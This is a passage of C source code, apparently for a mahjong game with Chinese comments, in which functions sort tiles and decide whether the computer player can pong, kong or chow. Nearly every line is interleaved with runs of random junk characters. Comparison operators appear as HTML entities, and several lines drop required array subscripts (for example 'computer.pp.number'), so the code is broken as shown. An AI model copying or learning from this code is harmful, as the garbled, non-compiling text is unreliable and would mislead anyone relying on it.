computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;2 T' ?" X/ M  {2 _5 g
computer.pp[j+1].oneorfour=u;; [- R0 J5 q2 G2 ]" B% ?
u=computer.pp[n].number;. c; d; R2 n$ M5 E* r; M. O
computer.pp[n].number=computer.pp[j+1].number;; z5 l6 f' G+ A1 I# x  g
computer.pp[j+1].number=u;
& d/ I  X  ]' D# U8 e}
) t# Z7 g! A; l# y}
2 T( F# i) U5 A" A( {+ y# v}
! J, P0 ~! ?) m+ kvoid melipai()1 K! B$ ^0 D6 v# h
{ int n,j,u;
- x* P0 J' l% k# S( ]4 ^9 Hint *lingshi;- J( Y$ @2 T1 F
for(n=0;n&lt;me.m;n++)
0 V4 O2 D: W; H( P% S4 cfor(j=n;j&lt;me.m;j++)$ o. w& U2 R. a+ Y% d& a4 p/ L2 u
{- Z1 D4 @+ F* C5 z$ `# E, H( p
if(me.pp[n].number&gt;me.pp[j+1].number)
0 M) U- H" y* c9 {& S{2 ^6 K. ?: B# T, f  x( g) T
lingshi=me.pp[n].k;# H" [0 }: I7 S* e0 A
me.pp[n].k=me.pp[j+1].k;8 A" w$ N9 C9 ^) G
me.pp[j+1].k=lingshi;% u, L7 T% {7 M) k) G! R
u=me.pp[n].oneorfour;
/ ~% `' M4 j2 e) {, f. E5 H+ gme.pp[n].oneorfour=me.pp[j+1].oneorfour;3 g9 E, u+ O& z$ X( e4 o; D4 o. M
me.pp[j+1].oneorfour=u;" O# p8 Y) Z% V7 l; n
u=me.pp[n].number;4 B# x! {+ V7 {0 k( ?5 J
me.pp[n].number=me.pp[j+1].number;  U6 Q9 A( H! v+ E% G
me.pp[j+1].number=u;( [3 s1 A/ w/ A0 N
}/ `4 |; ?; c% w; }( r
else
: E. A6 F6 _4 U1 s! C6 L& nif(me.pp[n].number==me.pp[j+1].number)" q+ r+ t3 s* ^
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
0 r8 Q7 n0 @+ t8 d8 b; b% [& g{
7 j' i' b2 X, {+ G+ _9 alingshi=me.pp[n].k;
0 a, {( }4 l8 b; _+ }me.pp[n].k=me.pp[j+1].k;1 o) A& j1 \1 S% f2 S- T
me.pp[j+1].k=lingshi;0 ~( i9 |% n, c' m
u=me.pp[n].oneorfour;8 _; W6 U+ h/ X7 U
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
3 ^) C( C. e4 p$ p' A! Jme.pp[j+1].oneorfour=u;& d7 w/ j! d1 O* [; J8 ^
u=me.pp[n].number;. O* g( L9 D) J- d% G$ z5 f
me.pp[n].number=me.pp[j+1].number;
, Y* O' R) x& X- Rme.pp[j+1].number=u;. \; i: l; [$ F
}
6 Q: B, J( n! g: x}
2 h0 R/ a& \" @& ~* t6 H}- c) {/ F" z% ]+ s5 `/ V8 d& g6 _
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
% W1 ^8 J9 ~% Q{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
; S- k. j  z9 x9 J& q: uif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
, l0 B" r3 N( j3 Y9 }3 v# T9 ?6 u% L{
5 l: A" `! |% v/ Z6 }- C& E. p; qlogo=1;1 z. ^  }  r/ A. x+ ~
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)" q3 p, i; d7 u8 b+ C9 C- V
logoo=1;
/ r9 [+ x1 m% k" f7 V- F4 G& F! Qelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
; t# m$ x1 R0 ^- C, ~, f5 ^5 U3 ?* Wlogoo=2;
. t) k# Y# O3 Y5 M  |- Q# relse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
, _( T1 s3 q, m2 @3 O) B; ~logoo=3;
& O6 D7 `' m9 O8 v! L, m' ]else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
7 x2 ]( B- w( c2 Qlogoo=4;
% n# s# ^' C0 z2 Z- [7 Q9 X# Helse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)( h& p  f# _, f6 h0 Q1 P
logoo=5;
. |/ |$ f& f2 x* ~4 Qelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
0 y* n1 D4 z/ dlogoo=6;
5 h. b3 a8 O9 {% L, selse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
' j4 ~5 V/ T! a1 _' ~' Glogoo=7;0 n5 [; S3 G. `& ?% ?
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)- F2 W) w8 o1 _+ D# Z
logoo=8;$ {! T. p: n3 J6 i3 K& k+ d
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
3 G7 x7 J3 }8 ^! Z' P4 }logoo=9;  g: M, {4 Q- k+ e3 E4 i" @. z
}9 f" D* J" N: i1 K3 R9 u' W/ N9 |
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)! k+ l$ G/ z' E# G" h
{
: B6 V$ E& f; R! m! m( v, xlogo=2;1 R" t1 ^6 i; F( Z- h
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)/ e( Q3 Y- @! w) `8 a9 v
logoo=1;* _) {6 o" c( I& r
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)& x3 W( K5 z" D) n$ i$ U% U
logoo=2;
% r! l  B( _5 Selse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
. q5 O8 L( ^  r# C6 O$ Zlogoo=3;# j$ y+ o1 k, t  X
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)0 q# G$ C% V3 f' K$ `9 G
logoo=4;7 c7 {4 V/ N# F6 l( h1 B
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
3 y8 l7 O0 p7 @9 d! ulogoo=5;
; y( x: \' k. L9 T, }4 g; |else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
- V6 a5 D6 _, [* C( @1 [/ rlogoo=6;
1 t8 T7 k4 u* c2 `7 H* Velse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)4 W( r5 \/ B' f! k
logoo=7;1 e3 ^" Z4 \! z2 f2 U. ~
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)8 w4 L* B; e! ?( j
logoo=8;
7 v8 R* @2 L: a$ yelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
. x7 t* a( p% L* \) L/ M) ]logoo=9;
; l) O" a: q1 r) {: V8 a}0 L% ^# J& X- l" l& k
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)3 `! j, r. j" h6 P4 L
{8 {( G3 v) g) v' V. s5 e
logo=3;
  Q) j7 D8 |% C& Jif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
) s, e  |; |8 U$ vlogoo=1;
: @1 T7 M  `! z+ A. Telse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
/ L/ [) c" [4 G, u& e9 r; |logoo=2;
7 @+ q( q* }+ J- H8 velse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)1 v, S; }6 `9 \, s) Z& `
logoo=3;
, S, w. f8 _4 Celse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
& x3 w6 m2 y0 u3 F9 T1 R+ wlogoo=4;1 V) {# T$ J- t. z
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
, O1 z2 m) X2 y9 glogoo=5;9 L4 z2 U0 W1 r: n' _5 i
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
; w' X$ B( N! Blogoo=6;
$ e9 f' o8 y# k7 j: _7 belse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96). {: y6 E) L) u' p
logoo=7;; J' C% k! g* M
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)- ?8 K% I& r- A6 x
logoo=8;5 o6 i4 q7 N" {' B# f
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)- [+ a% W/ h' d( f+ B" J/ q
logoo=9;
8 M( R; M& N3 M: H9 B}
4 H% Z2 [  F+ ?  K, ], F0 Lelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
  e: K6 O) g3 W- Q{
) v  k+ P2 Y% u3 I" N9 ]% I: Q2 T# wlogo=4;5 F! p7 _. v; A; g1 A
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
$ Y* a; k0 R# \( [: R- [* ?4 xlogoo=1;2 Z3 k0 \" e. }( `% I% f8 g
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
- ?4 `3 [' n( {2 Nlogoo=2;
* e& x' j# x4 K7 ?& X( \* k& K; oelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
% Z" H/ ~) u7 O  O5 vlogoo=3;
* R3 }+ |' Q) Z2 J4 @. |/ s3 r+ x+ delse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)2 f# R# f1 S$ @( D* f1 `6 `# y
logoo=4;
% R9 I+ j5 G# Z* m3 J1 P# t- l1 belse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)) |2 ]2 a) u' K; U; H$ M+ D
logoo=5;) _* j8 g+ d$ o9 c( i
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)4 K7 N: s) u) x4 L; J0 ~
logoo=6;% u% @8 h7 @) f0 `1 [
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)9 q, \- S# N# t$ c
logoo=7;1 o5 r3 @7 k6 f8 S  G8 T1 O$ D
}
$ R, W! I9 b; R! ~9 o- Fwhile(b&lt;=computer.m)
" F8 A! P4 E9 @3 f" Y) {1 ?/ J4 U{
. R& Y) q, `% zif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
+ o  w5 w1 s& ?& q' x$ `{
, @/ ?: ?1 a4 \. C# @1 ~lg=1;# d: \* C! n( e! I/ }
computer.pp.d[0]=1;) x* o; J$ ]4 T
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)5 E3 H' P/ m) r8 z7 }- K
{
5 b- h4 N5 b6 A* M) ~2 ?lgg=1;  d% D9 O. ^' b& Z' `" l
computer.pp.d[1]=1;
$ V9 h6 H( x- b7 x7 K  h  j( Z}" N: u* G2 ]. J5 }; e* Z/ b
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
& t" M2 l' _, B" x{
$ z; a+ k1 C( G% H$ ]+ R8 Elgg=2;
" G* y$ ^' O  }: v$ R6 Ccomputer.pp.d[1]=2;
/ y$ b' }7 l- J8 b5 t4 q}- c: h' ^' a1 K$ G5 t
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
+ l1 ~! ]) C4 f! g  h  Z, ?{2 B1 u; N0 l* T+ O
lgg=3;& T4 B6 s' G5 y( y% S; F1 }  D
computer.pp.d[1]=3;+ o/ T8 Y& c9 y/ p* k+ D/ K
}$ W; ~- L) o: F# H" V
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)2 N: W: X4 [8 `8 R( a! \
{! N; j, y/ B4 H% z+ Q
lgg=4;4 i5 \3 Y% t, D, l/ d
computer.pp.d[1]=4;0 R2 y/ y, J9 G% N- i$ V2 j, F
}( V' f$ I7 a+ U. q+ e, M+ V
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
$ v& i2 R3 H- `{  X) |5 U% x' c7 u6 `
lgg=5;
2 y5 O5 I$ p- C( Dcomputer.pp.d[1]=5;
5 t- W" w+ B, A' X6 D}5 h( [8 C  N6 f( d) p/ u
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)1 T  f! Z' K4 @0 J: I/ j: ~7 L
{
$ L! h  c# x6 p' tlgg=6;
1 K0 ?/ ~2 l! W9 zcomputer.pp.d[1]=6;
* ~& Y; q& r' n0 R1 R' W" A3 P}
0 }. P  N8 q& I0 f. melse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
- ~) y5 J( \! q) j{
1 a: Y; q! C1 N: X% z9 q6 algg=7;" R( n8 b" Q( g: k$ d8 f4 ^+ Y
computer.pp.d[1]=7;, y7 m& Y* L- Z2 x! v$ r4 v
}
8 u. k5 A) b* ]- Pelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
/ t6 u) c* J/ h5 e{
6 X6 i* f, q5 M& l1 W) s  v. K' vlgg=8;
5 m" L7 d: I$ s4 k% Ccomputer.pp.d[1]=8;
  a: [" f% z, T}
  Y& [1 c/ S! x$ H- B" relse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)& w: E& }* ]# }: Q
{
, q& {5 d4 ?3 F3 {0 T( J, z0 {# @lgg=9;
6 z. ]) M+ q' J/ ~. _computer.pp.d[1]=9;
" R+ j, F9 b& t  i& J}
8 z: j7 g5 o+ B6 G}
0 y  C8 Q( {+ |$ i4 A8 V9 oelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)/ ?8 z* O0 z9 Q+ T
{5 B" f- i$ I5 `0 h
lg=2;
' g: u5 C' G4 R- b( }computer.pp.d[0]=2;
" x1 A- h( S$ C, K8 [" G$ fif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
0 p5 J+ t  v5 E{4 S9 V; n& x2 a1 f* H" ^% Z
lgg=1;: C/ G6 l8 |6 N: @
computer.pp.d[1]=1;
9 X/ O) F0 K% }# T. g}, U0 t% x' }) Z: H. o
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
/ a- g6 _* f+ [* R/ j{3 s1 V# |1 j% q, x
lgg=2;% u9 P# j4 R- U5 F0 f
computer.pp.d[1]=2;3 E/ v, A. j) D1 i
}
' A3 |7 ?4 I) N# kelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)- E$ I7 C3 Y7 b. O5 c! ~
{2 E- [, D% h  Y& h+ X
lgg=3;. V% }3 D. X- u& G
computer.pp.d[1]=3;7 @" F, _1 y  {9 Y! c: Y1 G, Q
}+ {# Z7 ~3 A" N- m+ I
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)9 z6 K5 n# s. |. M: y9 J0 d
{
5 i* f; x) _' Jlgg=4;
( L/ K* X7 y: Z. d  mcomputer.pp.d[1]=4;
* ]) v  m* a5 Y; a  h}
7 y( P, w/ U3 G- J2 c+ Delse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)# F) {8 ]" j( u1 N* _( t
{+ N6 V/ ~1 C7 Z1 i9 V9 x
lgg=5;
. ?7 |% ]4 V1 e3 o9 S: Ncomputer.pp.d[1]=5;3 d' I. X6 W1 C' w1 r" ]: P
}
6 R+ D" A# u6 qelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
& J6 m3 C% V, M; L{  O4 h& s3 _5 \
lgg=6;- d7 U5 X! ~: r5 ^: F) A
computer.pp.d[1]=6;
+ A% n% Z! u9 ^1 I$ C4 N}
7 v! e: `8 T! C; Y" u, [: @else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
) u, |' S  N/ w- Q, l{6 D1 V9 P2 b1 d/ y6 H3 `. X
lgg=7;8 C- P" \2 a7 O% }& n
computer.pp.d[1]=7;
4 j1 F2 E! C& w, m0 W) ?: }}
7 e; C+ L& O+ |& Telse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)1 g* b& v! g5 {8 b  x/ Z
{
1 h( a( O2 _: e# x- Z* slgg=8;
+ i: x* I# _3 T& H* S6 Fcomputer.pp.d[1]=8;( y2 w( f1 ^) H; ^
}, i* F) q3 S# j
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
9 g) k* b8 P' ?' V{
' l2 C- P) Z" B- G5 z( ?) Glgg=9;3 O* t; f" W6 s6 ~; ^- A. a* [
computer.pp.d[1]=9;0 o7 {# ^0 S  g# B; F, Q9 Q
}' T; g; J) q" \1 R1 r3 ]
}
* V6 r9 E7 _* n8 relse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)3 }1 d( `! A! t' f; N
{; Y" G. ~# K/ y3 M
lg=3;3 ~- w( G( m1 v3 W7 b$ n
computer.pp.d[0]=3;8 U. y. o- s& B: d4 g
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)$ H, O8 J) s; Q7 v& B
{
1 a- d8 b# [$ O  F5 tlgg=1;
9 d, l0 \( b4 o' hcomputer.pp.d[1]=1;$ s% S5 e+ O- B% x. b
}
! {. `. m) Y9 v* Z7 S9 Y& @) t3 w% ^else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
* V* r- [7 I% s/ f" W3 a4 T3 w{
6 u; L9 o% m6 ~3 t8 klgg=2;
5 j' p5 `% ^. G5 t. j& ~8 Ccomputer.pp.d[1]=2;
5 V$ @5 T3 T; C% a2 e/ [}5 Y- W7 S& p: C, c
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)% C$ z. Y+ f; ]2 C/ _2 T0 [
{
! W% Z9 i$ L7 L4 h6 s2 Clgg=3;% L" i% A4 G+ m9 L+ w: y* w+ J
computer.pp.d[1]=3;1 M: w, Z) U2 x# x
}
. j0 j$ z9 i0 L' g; D% _else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)3 Z# _4 U7 F0 w4 J# t9 S! y8 |
{
& N' [* H$ e. g$ Ilgg=4;' h6 q" L2 J' c6 E6 x2 z% I0 j- [
computer.pp.d[1]=4;5 i0 |3 E& |! k/ g8 G) W, L
}4 C/ y4 }* @* K0 X- l
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)1 |/ ]- Z& X* r9 O7 [- `; G
{  j; V  r/ o" N& N
lgg=5;
0 f+ u- v) |- |9 }computer.pp.d[1]=5;
% A# v% T% v9 x# v4 Q/ u}
  q" j5 b1 b! w4 r# oelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)! E0 @& L' t$ G& C5 x
{
2 `6 G6 y/ A1 C4 k# slgg=6;1 }0 ~/ N, z: P
computer.pp.d[1]=6;
9 M) |- X3 ]2 v" _5 j1 v' L4 _5 F}0 |" j4 W' q& E6 @
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
/ ?5 i1 O# E6 B5 W' _% {$ n{& b; u1 l0 U% H& G- e& U+ y) }
lgg=7;# g1 U$ U3 \8 F$ q
computer.pp.d[1]=7;
6 D3 A; D/ Y% k, N; e+ a5 Y}
; E+ i( H% ^3 [7 ~0 W. t4 \else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)! n) h7 v# U8 A2 Q) x
{  c8 ~* X3 u" f9 M, D
lgg=8;$ x+ y+ C( j$ P6 {8 H! ^
computer.pp.d[1]=8;
! V* A4 ?) o1 o! x/ {8 t# m}. V3 q5 C/ Z1 A$ y
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
3 T. E8 [' H  f' H{
% X$ |; M* b: {lgg=9;
, A9 x. u, |' W2 X4 F" u9 j) @2 F" Ucomputer.pp.d[1]=9;/ Z! ]! F, Y  d* A
}
1 r" x- {, C9 H$ J1 H! A}
- g7 J, r6 K7 m: {- ]% j: telse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
9 r3 _0 t( U/ Q5 N# S: E{
+ _- G8 Y# C( G  {2 z* Llg=4;+ A0 o' Q- j2 r! b8 f
computer.pp.d[0]=4;
+ q  _# M/ n# I5 X" @5 X8 ^if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
# k$ d4 }# b8 u: I' _{3 B% z: z7 `+ A$ }
lgg=1;
( Y" l$ K* l3 ?0 g$ p$ b9 E0 Fcomputer.pp.d[1]=1;9 }% |9 T5 j  _
}% P7 j& r5 K8 C* s4 z/ p
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)  `1 T, W# e$ @6 I2 F8 u
{
9 b5 W4 P% i# L7 d' Dlgg=2;! ~* S3 E4 B1 q1 Z0 U+ _. h5 z1 z2 w
computer.pp.d[1]=2;8 P5 ~; H- t' E/ h$ P4 U' e+ p
}
0 y. R+ B3 s; E" F" ?) m+ uelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
) y0 E2 w  Z* r- I- R: q{' ~/ I  V9 w- o0 J# n
lgg=3;
0 M0 Q% h7 `, v1 z: _computer.pp.d[1]=3;
) \( L1 F; y1 R( L( d! [}
6 l8 a% }+ [4 H. gelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
4 _% O/ B% O" _5 A; d. k# f8 ]{
' W6 b5 H& D# Tlgg=4;/ t) D5 m- N* q6 n0 _
computer.pp.d[1]=4;  }% J0 X3 b& n% s9 ~
}
: C0 \# s/ u+ m6 kelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
& M2 d8 ~7 m* t) a; u* p! G" h{& x( h* y; }5 o( \& B- v  H% z
lgg=5;& H' C# e5 U# D7 t
computer.pp.d[1]=5;
8 z0 X  z0 `3 A2 y}
2 k2 y2 u0 Z$ y1 {# m( ?# Xelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
/ r5 X3 u( P7 h. |8 C! S{
3 z! Q$ d7 L9 Y, X" ]- Dlgg=6;' k" ?8 b/ Q0 B( ?/ h1 g. p
computer.pp.d[1]=6;
, N- _5 i& B  }1 X9 U}
; C. {: w: ~6 P1 R% delse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
1 ]& r  b. d8 j( t{+ _8 W: B  m8 v& n: S
lgg=7;
1 V7 S- V# J( m% P# T- F  rcomputer.pp.d[1]=7;
# Z& a  a$ x' f8 u. v6 X7 B1 q}
5 Z7 W/ E1 c. V% N; ^2 l}7 }0 p; n$ ^# F( \+ e% f1 o

2 P1 u6 C4 j6 N: S$ R6 b- p& f$ Xif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/6 K+ {$ _0 X. F4 W
if(logoo==lgg)/ ]( g. P2 G' \6 i7 y$ M
pg++;
6 i* U" B  \. ~2 E/ \1 Qch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 o; t* w- V% l9 R. Pch.lgg=lgg;3 t0 b3 z- z- |) Y2 t# W6 K4 d
lg=0;) D4 G+ z; s4 l5 u$ c
lgg=0;
' u, P0 t' `  g7 U* l! d+ w9 Fb++;+ d4 t- S% a8 U" Z+ P
}
  J' `, G% Z" ^# `/ f& k5 U0 Q) oif(pg==2) /*乓*/$ E1 |# A/ q3 I+ G6 K
{
+ O5 N* I3 ~5 M+ s5 w" G; s. v8 k" X' c
sing=1;8 B( _& a" T  x$ L) U$ E4 i/ I
b=computer.m;5 m/ F  K' [7 }" S/ @; j( Q
while(b!=-1)2 `* T# J! ]& y* ^/ g$ u
{! Y: J* ^" b# `
if(strcmp(me.pp[c].k,computer.pp.k)==0)) y1 C! H5 G3 l. O' }6 {
computer.pp.p=1;
( `% R1 x2 h$ Y' K
; X5 f' Z$ @* x, _0 g$ O# T3 L' eb--;8 L/ @2 ?) D( ?6 H
}' l3 I' |$ d" H
}7 D, y9 t) ]3 _( C. m
if(pg==3) /*杠*/
) d3 I, H" U, z: {* a) c3 r+ H& Z{
  I* w6 D* k7 }( f- m3 U" P0 |  I. `& b; _: T0 x
sing=2;. y1 {1 H) u. K9 {6 {5 z- E. v
b=computer.m;
; k0 m" y# q6 ^3 Q' p; kwhile(b!=-1)0 A+ }6 u9 P; z  P; i3 v5 n5 }: T
{
  U. \% _" K- v) r2 U* \" [if(strcmp(me.pp[c].k,computer.pp.k)==0)
# r: p* R6 i/ _8 C+ h' N% ~9 m# f% Tcomputer.pp.g=1;: [+ j: B- J0 r+ _
b--;" J: q  y6 d7 n7 s5 B: A- W
}
! j& Q/ m2 q& d/ d5 B}' D# u4 P2 J$ T" h
f=0;
, y4 O$ a- v+ E( D9 awhile(f&lt;computer.m) /*吃的判断*/% ?8 i8 z& G5 c4 H: ?6 [
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
6 d5 z  f- Q- o, [4 O{
; p  j+ g9 l6 H7 @) ?! y  J4 Xif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
% b4 ]' q& j! M) H7 ]if(ch[f].lgg-logoo==1)
& j" Z, w6 g5 W/ z{
: p, M: x- Z3 \$ `& Agp++;
$ i& y" z% {8 \computer.pp[f].c=1;( Z2 l/ P8 G6 s3 ~
computer.pp[f+1].c=1;
) }( M4 _% E. R' |$ [$ Y4 p0 p}
6 I- p5 ?/ c! I- s* z- X4 h2 _if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/* T8 ^1 F9 {9 N3 E8 P* r: q) K  N
if(ch[f+1].lgg-logoo==-1)
- |; f' w7 D" H9 [& d{2 u" U/ z  g0 D3 y: w
gp++;' I2 ^; `8 x, T6 g4 H
computer.pp[f].c=1;& @& C) V( c5 X* {$ {9 Z2 N+ V
computer.pp[f+1].c=1;
7 M2 p* u6 |% S. h}  |! \# h# T9 M" A, m& G: J# g* `5 _
if(ch[f].lgg-logoo==-1) /*中吃*/
7 a: a3 [9 @( ~if(ch[f+1].lgg-logoo==1)  A- S9 P4 |( a) [0 ^; q
{/ S9 D& E6 V! n3 W* J( d
gp++;* K, W  V! ^4 I- b- ~- S
computer.pp[f].c=1;
4 b1 l/ `' V/ T5 \' Jcomputer.pp[f+1].c=1;. W- D; }' P4 g
}
# ^% j* `+ F& `5 O4 x$ H+ N* vif(gp==1)
; S* p3 z4 S$ |break;" {8 V2 w, s5 B: a: l, u4 S( [
}
0 K" ]5 m& ^! d: S5 E2 ]f++;! a, G3 D. Q+ M8 @. Q6 {* }) u
}4 [4 f" l4 ]" C$ v- w& X4 L  N
if(gp==1)
: V. f+ n. J  B{sing=7;( s% d1 r( x1 ^9 X. ^( T
) m# p! b" M! P+ K
}
- F6 ^- h1 g( g! Y* k' Hpg=0;& z- s, u* Y8 _8 E' T, M
gp=0;
) U! X; S8 z7 Y+ d0 S; hb=0;% r. s% K, y0 t- D
}
6 r2 g/ R4 Q, y  ~0 Jvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/3 p& j# V8 s0 l3 H* Z. ^3 ]+ M
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;3 v) w  g4 @, N! t2 X. A3 V9 A
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
4 m* F1 b+ E9 H1 s. E{
) U. o7 L2 o# z3 w& v) h" ^: Ylogo=1;# L% J2 l  D/ v3 [" A, e
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
8 F# z) X- M4 T& E( Clogoo=1;: d6 b& [) ~: ~1 S) r. G  m* l. Z
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
0 k9 {& B9 z8 l" y5 @1 u5 [( O0 T9 flogoo=2;3 i4 A' U2 a* q( N
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
* z! e. y( D$ [0 f: c$ h2 s, Dlogoo=3;
) t) R% \9 p- e! l% B3 ~* s3 Helse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
% J7 ^- Q# y3 v; p' ologoo=4;
1 g# g) G* D% belse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
/ _1 |2 g2 [- F7 }$ glogoo=5;$ }% E; I" B: Z2 K# c; O
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)9 w5 Z. l( h1 u  O' Z2 A
logoo=6;2 I0 I4 d& Y( }% e+ f9 r; q4 f
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
0 l. e& N( Q. F& A7 |3 m% llogoo=7;
& k5 K# w  V* z7 E! t: A. ^6 i8 jelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)! K6 ]+ c4 j0 Q9 t4 b/ T& G) K
logoo=8;
+ h- j5 v: b; w/ v6 w  s4 {; c: L) zelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)5 Y; A8 @* H$ _2 R! W5 ~6 v1 c% Y0 ~
logoo=9;
/ W% y% H% W/ @}
7 H# |6 Y  K; M* t0 ^# uelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)) r6 Y* c" c3 B7 f
{6 H& w" f! v6 u2 y% y! i( h6 e2 Q+ \
logo=2;) a8 ], m- v9 v- l
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)7 p0 I# [6 |1 Z
logoo=1;1 Z) n: B6 W4 b" |2 d7 W
